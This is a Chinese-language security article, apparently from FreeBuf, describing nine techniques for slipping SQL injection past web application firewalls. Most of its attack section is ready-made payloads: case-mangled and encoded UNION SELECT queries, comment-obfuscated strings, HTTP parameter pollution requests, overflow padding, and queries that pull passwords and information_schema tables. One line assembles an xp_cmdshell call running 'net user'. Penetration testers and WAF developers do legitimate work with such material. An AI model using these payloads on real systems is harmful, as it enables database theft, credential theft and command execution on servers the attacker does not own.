SQL注入 | 9种绕过Web应用程序防火墙的方式

2018-03-09 739815人围观 ,发现 16 个不明物体 WEB安全

Web应用程序防火墙(WAF)的主要作用是过滤,监控和阻止各类进出Web应用程序的HTTP流量。WAF区别于常规防火墙,因为WAF能够过滤特定Web应用程序的内容,而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用安全漏洞的攻击,如SQL注入XSS文件包含和安全配置错误。

WAF是如何工作的?

  • 协议异常检测:拒绝不符合HTTP标准的请求
  • 增强的输入验证:代理和服务器端验证,而不仅仅是客户端验证
  • 白名单和黑名单
  • 基于规则和基于异常的保护:基于规则的更依赖黑名单机制,基于异常则更灵活
  • 状态管理:关注会话保护还有:Cookie保护,反入侵规避技术,响应监控和信息披露保护。

如何绕过WAF?

1.当我们在目标URL进行SQL注入测试时,可以通过修改注入语句中字母的大小写来触发WAF保护情况。如果WAF使用区分大小写的黑名单,则更改大小写可能会帮我们成功绕过WAF的过滤。

http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

2.关键字替换(在关键字中间可插入将会被WAF过滤的字符) – 例如SELECT可插入变成SEL<ECT,一旦插入字符被过滤,它将作为SELECT传递。

http://target.com/index.php?page_id=-15&nbsp;UNIunionON SELselectECT 1,2,3,4

3.编码

+ URL encode

page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

+Hex encode

target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
 
   SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

+Unicode encode

?id=10%D6‘%20AND%201=2%23  
 
   SELECT 'Ä'='A'; #1

4.使用注释

在攻击字符串中插入注释。例如,/*!SELECT*/ 这样WAF可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由mysql数据库处理。

index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   
 
   'union%a0select pass from users#

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
 
   ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

5.某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

hex()、bin() ==> ascii()
 
sleep() ==>benchmark()
 
concat_ws()==>group_concat()
 substr((select 'password'),1,1) = 0x70
 
   strcmp(left('password',1), 0x69) = 1
 
     strcmp(left('password',1), 0x70) = 0
 
   strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
 
@@user ==> user()
 
@@datadir ==> datadir()

6.使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法。

+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00

示例

‘se’+’lec’+’t’
 
      %S%E%L%E%C%T 1
 
      1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

' or --+2=- -!!!'2
 
     id=1+(UnI)(oN)+(SeL)(EcT)

7.HTTP参数控制

通过提供多个参数=相同名称的值集来混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

+ HPP(HTTP Parameter Polution))

/?id=1;select+1,2,3+from+users+where+id=1—
 
   /?id=1;select+1&amp;id=2,3+from+users+where+id=1—
 
   /?id=1/**/union/*&amp;id=*/select/*&amp;id=*/pwd/*&amp;id=*/from/*&amp;id=*/users

HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

1tM8MPgW.png

+HPF (HTTP Parameter Fragment)

这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

/?a=1+union/*&amp;b=*/select+1,pass/*&amp;c=*/from+users--
 
  select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

+HPC (HTTP Parameter Contamination)

RFC2396定义了以下字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ &amp; = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:

2i0jbEHM.png

以魔术字符%为例,Asp/Asp.net会受到影响

3TjKcPpb.png

8.缓冲区溢出

WAF和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么WAF可能就会崩溃,即使不能代码执行那也会使WAF无法正常运行。这样,WAF的安全防护自然也就被瓦解了。

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

9.整合绕过

当使用单一的方式无法绕过时,我们则可以灵活的将多种方式结合在一起尝试。

target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
 
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
 
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

*参考来源:digitalmunition,FB小编 secist 编译,转载请注明来自FreeBuf.COM 

相关推荐

这些评论亮了

发表评论

已有 16 条评论

取消
Loading...
secist

每个人的心中都有一个梦。。

467 文章数 64 评论数 47 关注者

特别推荐

推荐关注

官方公众号

聚焦企业安全

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php